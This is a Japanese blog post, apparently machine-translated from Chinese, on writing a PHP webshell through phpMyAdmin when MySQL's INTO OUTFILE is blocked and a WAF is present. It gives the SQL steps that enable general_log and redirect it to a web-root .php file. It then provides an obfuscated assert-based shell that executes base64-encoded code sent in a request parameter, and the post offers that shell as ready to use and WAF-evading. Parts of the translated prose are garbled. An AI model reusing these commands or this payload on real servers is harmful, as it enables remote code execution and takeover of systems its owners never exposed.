Into outfileが無効な場合は別の方法でwebshellを取ります

1937 ワード

まず、環境は次のとおりです.
 
  • OS:Windows 2003
  • WAF:Safe Dog 4.0公式版
  • phpmyadmin:4.7(多くは可能)
  • Mysql:5.5+
  • PHP:5.3
  • Apache:2.x

  • まとめ方は、outfileが禁止されている場合:show variables like'%general%';                set global general_log = on;                set global general_log_file = '/var/www/html/1.php';                select ''
        
     
    現在、into outfileは無効になっており、WAFもファイルを書き込むときにブロックされます.では、脳の穴を大きく開く方法でgetshellを試してみましょう.( mysql root )
    phpmyadminにログインしたら、グローバル変数を表示:general log fileを見つけます.
    ここでは、sql文ごとに実行されるログ(SQL文自体を含む)を格納します.
    ただし、general log変数はオンである必要があります.
    このとき、general logONに開き、general log fileのアドレスをwebshellの絶対パスに変更します.general log fileを変更するたびにmysqlはログファイルが存在するかどうかを判断し、存在しない場合は自動的に作成します.
    ファイルが作成され、最後のSQL文のログ情報が保存されます.MySQLa, Version: 5.5.53 (MySQL Community Server (GPL)). started with:
    TCP Port: 3306, Named Pipe: MySQL
    Time Id Command Argument
    121 Query SHOW GLOBAL VARIABLES WHERE Variable_name="general_log_file"
    121 Quit

    次に、私たちは直接SQLを検索して、すべての文はこのshellに書き込まれます.php
    WAFがあるため、リモートに含まれる形式でwebshellを実行します.リモート・アドレスに関数名を配置し、サーバ側にアクセスさせ、メモリにロードし、この関数を直接呼び出し、コミットしたphpコードを受信します.
    包丁の免殺について、前の文章を見てください.
    以下にSQLクエリーの殺さないshellの文を添付します.このような状況に遭遇して直接利用するのに便利です.SELECT "'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>"
    ここにはブロックされていません.
    文章はここまでで、この数日は比较的に忙しくて、すべてどのように更新していないで、みんなのずっとからの支持に感谢します!
    転載先:https://www.cnblogs.com/qing123/p/6608141.html